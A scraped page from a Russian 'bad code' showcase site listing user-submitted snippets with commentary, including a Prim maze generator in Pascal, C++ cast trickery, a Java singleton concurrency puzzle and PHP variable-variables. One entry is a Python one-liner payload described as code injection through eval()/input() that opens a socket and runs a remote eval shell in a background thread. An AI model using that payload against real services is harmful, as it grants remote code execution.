-
Лучший говнокод
- В номинации:
-
- За время:
-
-
+86
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
Function TMainForm.PrimGenerateMaze(Width, Height: Integer): Maze;
Type Point = record
x, y: Integer;
end;
Var
TehMaze: Maze;
Todo: array of Point;
todonum: integer;
x,y,n,d: integer;
Const
dx: array [0..3] of Integer = (0, 0, -1, 1);
dy: array [0..3] of Integer = (-1, 1, 0, 0);
BEGIN
SetLength(TehMaze, Width, Height);
SetLength(Todo, (Width * Height) - 1);
For x:=0 to Width-1 do
For y:=0 to Height-1 do
If (x = 0) or (x = Width-1) or (y = 0) or (y = Height-1) then
TehMaze[x][y]:=32
Else TehMaze[x][y]:=63;
Randomize;
x := Random(Width-2)+1;
y := Random(Height-2)+1;
todonum := 0;
TehMaze[x][y]:= TehMaze[x][y] and not 48; // Пометить клетку как принадлежащую лабиринту
// Пока не обработаны все клетки
Repeat
Begin
// Занести в список todo все ближайшие необработанные клетки
For d:=0 to 3 do
if (TehMaze[x + dx[d]][y + dy[d]] and 16) <> 0 then
Begin
todo[todonum].x := x + dx[d];
todo[todonum].y := y + dy[d];
Inc(todonum);
TehMaze[x + dx[d]][y + dy[d]] := TehMaze[x + dx[d]][y + dy[d]] and not 16;
End;
// Выбрать из списка todo произвольную клетку
n:= Random(todoNum);
x:= ToDo[n].x;
y:= ToDo[n].y;
// Удалить из списка обработанную клетку
Dec(todonum);
ToDo[n]:= todo[todonum];
// Выбрать направление, которое ведет к лабиринту
Repeat
d:=Random(4);
Until ((TehMaze[x + dx[d]][y + dy[d]] and 32) = 0);
// Присоединить выбранную клетку к лабиринту
TehMaze[x][y] := TehMaze[x][y] and not ((1 shl d) or 32);
TehMaze[x + dx[d]][y + dy[d]] := TehMaze[x + dx[d]][y + dy[d]] and not (1 shl (d xor 1));
End;
Until (todonum = 0);
TehMaze[1][1] := TehMaze[1][1] and -2; // начало лабиринта - в левом верхнем углу
TehMaze[Width-2][Height-2] := TehMaze[Width-2][Height-2] and not 2; // конец лабиринта - в правом нижнем углу
Result := TehMaze;
END;
Генерация лабиринтов по алгоритму Прима.
Govnocoder#0xFF,
10 Февраля 2013
-
+161
- 1
- 2
- 3
- 4
<form action="..." ...>
...
<input type="button" ... onclick="$('form').submit();" />
</form>
Живет на свете один c# девелопер, который всегда всем говорит: "я не верстальщик - я c# девелопер. я не js программист - я c# девелопер" ну и т.д. И вот однажды он решил самостоятельно сделать функционал поиска...
(На самом деле на стороне сервера еще гуще развивались события...но это уже другая история...) с серверным c# кодом вы можете ознакомится тут http://govnokod.ru/user/5616/codes
mangyst,
07 Февраля 2013
-
+7
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
#include <iostream>
namespace detail
{
class CRWO;
class CRO;
class CWO;
class CO;
}
typedef detail::CRWO& CRWO;
typedef detail::CRO& CRO;
typedef detail::CWO& CWO;
typedef detail::CO& CO;
class C
{
friend class detail::CRWO;
friend class detail::CRO;
friend class detail::CWO;
friend class detail::CO;
public:
C( int a ) : value(a) {}
~C() {};
operator CRWO() { return *static_cast<detail::CRWO*>(static_cast<void*>(this)); }
operator CRO() { return *static_cast<detail::CRO*>(static_cast<void*>(this)); }
operator CWO() { return *static_cast<detail::CWO*>(static_cast<void*>(this)); }
operator CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }
private:
void set( int newValue ) { value = newValue; }
int get() { return value; }
private:
int value;
};
class detail::CRWO
{
public:
void set( int newValue ) { static_cast<C*>(static_cast<void*>(this))->set( newValue ); }
int get() { return static_cast<C*>(static_cast<void*>(this))->get( ); }
operator ::CRO() { return *static_cast<detail::CRO*>(static_cast<void*>(this)); }
operator ::CWO() { return *static_cast<detail::CWO*>(static_cast<void*>(this)); }
operator ::CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }
private:
CRWO(); CRWO(const CRWO&);~CRWO();CRWO& operator=(const CRWO&);void operator&(); void operator*();
};
class detail::CWO
{
public:
void set( int newValue ) { static_cast<C*>(static_cast<void*>(this))->set( newValue ); }
operator ::CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }
private:
CWO(); CWO(const CWO&);~CWO();CWO& operator=(const CWO&);void operator&(); void operator*();
};
class detail::CRO
{
public:
int get() { return static_cast<C*>(static_cast<void*>(this))->get( ); }
operator ::CO() { return *static_cast<detail::CO*>(static_cast<void*>(this)); }
private:
CRO(); CRO(const CRO&);~CRO();CRO& operator=(const CRO&);void operator&(); void operator*();
};
class detail::CO
{
public:
private:
CO(); CO(const CO&);~CO();CO& operator=(const CO&);void operator&(); void operator*();
};int main(int argc, char *argv[])
{
C c(3);
CRWO rwo = c;
CRO ro = c;
CWO wo = c;
CO o = c;
std::cout << rwo.get() << std::endl;
wo.set( 5);
std::cout << ro.get() << std::endl;
return 0;
}
Оттуда.
Автор требует указывать авторство при копировании.
LispGovno,
02 Февраля 2013
-
+23
- 1
- 2
typedef const AbstractParameter ConstAbstractParameter;
class Parameter: public ConstAbstractParameter{
GCC это не компилирует, но в 2008 ms vs компилируется без предупреждений. Я это как увидел, так сразу переписал на
class Parameter: public AbstractParameter{
А вот теперь я дома и не могу заснуть. Гложет чувство, что я поступил не правильно. Такое чувство как-будто этот const, пусть и не в рамках стандарта С++, но что-то он делал.
LispGovno,
20 Ноября 2012
-
+95
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
import java.io.PrintStream;
import java.util.concurrent.atomic.AtomicBoolean;
public final class ShredingerCat
extends AtomicBoolean
{
static final PrintStream o=System.out;
static final long initMsec=System.currentTimeMillis ();
public static final ShredingerCat INSTANCE = new ShredingerCat();
private ShredingerCat ()
{
set ( false );
o.println ( "Construct SingleBool" );
}
public final
void criticalSection(){
synchronized (this) {
pr ( "Enter critical section" );
ShredingerCat.sl ( 5 );
pr ( "Cat is " +(
get()
? "dead"
: "alive"
)
);
sl(100);
pr ( "Exit critical section" );
}
}
// ===================== HELPER STUFF ========================
static void pr(String s){
o.println ( s+(
System.currentTimeMillis ()- initMsec
));
}
static void sl(long l){
try {
Thread.sleep ( l );
}catch (InterruptedException e) {
}
}
}
Обсуждение #11989 безопасных публикаций, конструкторов и синглтонов вдохновило меня на создание этого примера.
Суть: есть кот-синглтон. Он как вы видите защищен со всех сторон finalами, приправленое к тому же Atomicом.
Задание на серебряную медаль - сделать так чтобы 2 последовательных вызова toString() вывели Dead и Alive. Объект не должен меняться.
Задание на золотую медаль: необходимо получить примерно такой вывод:
Enter critical section0
Enter critical section0
Cat is alive16
Cat is dead16
Exit critical section110
Exit critical section110
За использование рефлексии и прочих unsafe - немедленная дисквалификация и бан модератором.
Решение будет чуть позже. Отдельным постом.
3.14159265,
26 Октября 2012
-
−126
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
1CClientBankExchange
ВерсияФормата=1.01
Кодировка=Windows
Получатель=
ДатаНачала=25.09.2012
ДатаКонца=25.09.2012
...
СекцияРасчСчет
...
КонецРасчСчет
СекцияДокумент=Платежное поручение
...
КонецДокумента
КонецФайла
Формат файла: Стандарт обмена с системами "Клиент банка"
http://v8.1c.ru/edi/edi_stnd/100/101.htm
Пидорва изобрела ini-файлы. Но убило не это, а это:
>Кодировка=Windows
Centry,
24 Октября 2012
-
−105
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
if (indexPath.row==0 && indexPath.section==0) {
// ...
} else if (indexPath.row==1 && indexPath.section==0) {
// ...
} else if (indexPath.row==0 && indexPath.section==2) {
// ...
} else if (indexPath.section == 2 && indexPath.row == 1) {
// ...
}
В оригинале еще и оформление кода абсолютно шизофреническое. Откуда только такие берутся?
byss,
18 Октября 2012
-
−94
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
42 if (
setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
setattr(__builtins__,'___worker' ,lambda S: any(
(True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
),
__builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
) else 0
Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
Отформатировано для удобства чтения, вообще это однострочник.
Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.
Vindicar,
15 Октября 2012
-
+66
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
<?php
//You can even add more Dollar Signs
$Bar = "a";
$Foo = "Bar";
$World = "Foo";
$Hello = "World";
$a = "Hello";
$a; //Returns Hello
$$a; //Returns World
$$$a; //Returns Foo
$$$$a; //Returns Bar
$$$$$a; //Returns a
$$$$$$a; //Returns Hello
$$$$$$$a; //Returns World
//... and so on ...//
?>
Из комментов на http://www.php.net/manual/en/language.variables.variable.php
xaionaro,
12 Октября 2012
-
−86
- 1
var file: * = File.userDirectory.resolvePath(CACHE_PATH + hashURL(key));
На первый взгляд просто немного странный код, но за ним стоит интересная история.
Человек написавший этот код после долгих расспросов и двузначных ответов таки сознался, что таким образом он надеялся избежать компиляции AIR классов в бразуерном проекте. Но интереснее еще и то, что человек продолжает в это свято верить и отстаивать свою точку зрения... а я уволился.
Если вы не в курсе, Адоби делают несколько версий плееров, одна "ветка" предназначена для запуска с десктопа и ей можно обращаться к файловой системе, в то время как обычному плееру в браузере такое делать нельзя, ну или только после всяческих подтверждений и т.п. Человек таким образом пытлася написать кеширование загруженных картинок на диск к пользователю. Но тут судьба сыграла злую шутку, он компилировал все эти классы в библиотеку, которую забывал обновлять, и по счастливому стечению обстоятельств, библиотечный класс не содержал никаких упоминаний файловой системы - и все работало замечательно.
Прогрнозируемый разрыв шаблона произойдет примерно недели через две-три, когда нужно будет обновлять версию. Ну, это конечно при условии, что кеширование каким-то образом будут тестировать, но, скорее всего не будут, и шутка может затянуться.
wvxvw,
07 Сентября 2012